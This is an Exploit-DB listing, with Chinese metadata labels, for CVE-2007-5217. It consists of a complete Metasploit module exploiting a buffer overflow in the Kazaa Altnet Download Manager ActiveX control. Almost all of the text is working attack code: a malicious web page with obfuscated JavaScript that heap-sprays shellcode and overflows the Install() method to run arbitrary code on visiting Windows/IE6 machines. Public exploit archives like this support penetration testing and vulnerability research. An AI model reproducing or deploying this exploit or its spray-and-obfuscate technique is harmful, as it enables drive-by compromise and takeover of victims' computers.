标题: Kazaa Altnet Download Manager - ActiveX Control Buffer Overflow (Metasploit) EDB-ID: 16496 CVE: 2007-5217 类型: REMOTE 平台: WINDOWS 发布日期: 2010-05-09 漏洞利用脚本: ##
# $Id: kazaa_altnet_heap.rb 9262 2010-05-09 17:45:00Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = NormalRanking

 include Msf::Exploit::Remote::HttpServer::HTML

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Kazaa Altnet Download Manager ActiveX Control Buffer Overflow',
   'Description'    => %q{
     This module exploits a stack buffer overflow in the Altnet Download Manager ActiveX
    Control (amd4.dll) bundled with Kazaa Media Desktop 3.2.7.
    By sending a overly long string to the "Install()" method, an attacker may be
    able to execute arbitrary code.
   },
   'License'        => MSF_LICENSE,
   'Author'         => [ 'MC' ],
   'Version'        => '$Revision: 9262 $',
   'References'     =>
    [
     [ 'CVE', '2007-5217' ],
     [ 'OSVDB', '37785' ],
     [ 'URL', 'http://secunia.com/advisories/26970/' ],
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
    },
   'Payload'        =>
    {
     'Space'         => 1024,
     'BadChars'      => "\x00",
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'Windows XP SP0-SP2 / IE 6.0SP1 English', { 'Ret' => '\x0c\x0c\x0c\x0c' } ]
    ],
   'DisclosureDate' => 'Oct 3 2007',
   'DefaultTarget'  => 0))
 end

 def autofilter
  false
 end

 def check_dependencies
  use_zlib
 end

 def on_request_uri(cli, request)
  # Re-generate the payload
  return if ((p = regenerate_payload(cli)) == nil)

  # Encode the shellcode
  shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

  # Create some nops
  nops = Rex::Text.to_unescape(make_nops(4))

  # Randomize the javascript variable names
  vname  = rand_text_alpha(rand(100) + 1)
  var_i  = rand_text_alpha(rand(30)+2)
  rand1  = rand_text_alpha(rand(100) + 1)
  rand2  = rand_text_alpha(rand(100) + 1)
  rand3  = rand_text_alpha(rand(100) + 1)
  rand4  = rand_text_alpha(rand(100) + 1)
  rand5  = rand_text_alpha(rand(100) + 1)
  rand6  = rand_text_alpha(rand(100) + 1)
  rand7  = rand_text_alpha(rand(100) + 1)
  rand8  = rand_text_alpha(rand(100) + 1)

  # Build out the message
  content =
   "<html>\n" +
   "<object classid='clsid:DEF37997-D9C9-4A4B-BF3C-88F99EACEEC2' id='#{vname}'></object>\n" +
   "<script language='javascript'>\n" +
   "#{rand1} = unescape('#{shellcode}');\n" +
   "#{rand2} = unescape('#{nops}');\n" +
   "#{rand3} = 20;\n" +
   "#{rand4} = #{rand3}+#{rand1}.length\n" +
   "while (#{rand2}.length<#{rand4}) #{rand2}+=#{rand2};\n" +
   "#{rand5} = #{rand2}.substring(0, #{rand4});\n" +
   "#{rand6} = #{rand2}.substring(0, #{rand2}.length-#{rand4});\n" +
   "while(#{rand6}.length+#{rand4}<0x30000) #{rand6} = #{rand6}+#{rand6}+#{rand5};\n" +
   "#{rand7} = new Array();\n" +
   "for (#{var_i}=0; #{var_i}<400; #{var_i}++) #{rand7}[#{var_i}] = #{rand6} + #{rand1};\n" +
   "#{rand8} = '#{target.ret}';\n" +
   "while (#{rand8}.length < 5000) #{rand8}+=#{rand8};\n" +
   "#{vname}.Install(#{vname} ,#{rand8} ,#{vname}, 1);\n" +
   "</script>\n" +
   "</html>"

  content = Rex::Text.randomize_space(content)

  print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")

  # Transmit the response to the client
  send_response_html(cli, content)

  # Handle the payload
  handler(cli)
 end

end URL: https://www.exploit-db.com/exploits/16496